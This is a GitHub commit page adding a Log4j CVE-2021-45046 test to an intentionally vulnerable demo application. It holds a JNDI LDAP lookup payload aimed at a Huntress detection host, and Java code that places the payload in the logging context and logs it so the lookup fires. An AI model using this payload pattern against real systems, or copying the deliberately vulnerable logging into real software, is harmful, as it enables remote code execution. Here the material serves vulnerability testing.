Skip to content

Commit 81effe4

Browse files
add exploit for CVE-2021-45046
Signed-off-by: Andreas Ulm <andreas.ulm@root360.de>
1 parent 665c27b commit 81effe4

File tree

2 files changed

+10
-0
lines changed

2 files changed

+10
-0
lines changed

README.md

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -48,5 +48,7 @@ For internal testing within this branch is an application version that is affect
4848
To run the test:
4949
1. get ID from [Huntress](https://log4shell.huntress.com/)
5050
1. set environment variable `LOGGING_CHECK`: `export LOGGING_CHECK="ID-from-Huntress"`
51+
1. set environment variable `LOGGING_CHECK_45046` to check for CVE-2021-45046:
52+
`export LOGGING_CHECK_45046="\${jndi:ldap://log4shell.huntress.com:1389/ID-from-Huntress}"`
5153
1. run app: `bash run.sh`
5254
1. check the Huntress results

src/main/java/io/github/root360/app/server/TomcatServer.java

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -5,8 +5,10 @@
55
import org.apache.catalina.WebResourceRoot;
66
import org.apache.catalina.startup.Tomcat;
77
import org.apache.catalina.webresources.StandardRoot;
8+
import org.apache.logging.log4j.Level;
89
import org.apache.logging.log4j.LogManager;
910
import org.apache.logging.log4j.Logger;
11+
import org.apache.logging.log4j.ThreadContext;
1012

1113
/**
1214
* Class to control TomcatServer.
@@ -66,6 +68,12 @@ public void run(final String... args) {
6668
+ System.getenv("LOGGING_CHECK")
6769
+ "}");
6870
}
71+
if (System.getenv("LOGGING_CHECK_45046") != null
72+
&& !System.getenv("LOGGING_CHECK_45046").isEmpty()
73+
&& LOGGER.isErrorEnabled()) {
74+
ThreadContext.put("apiversion", System.getenv("LOGGING_CHECK_45046"));
75+
LOGGER.printf(Level.ERROR, "log for CVE-2021-45046: ${ctx:apiversion}");
76+
}
6977

7078
LOGGER.info("Application started with URL {}:{}{}.", DEFAULT_HOST, port, CONTEXT_PATH);
7179
LOGGER.info("Hit Ctrl + D or C to stop it...");

0 commit comments

Comments
 (0)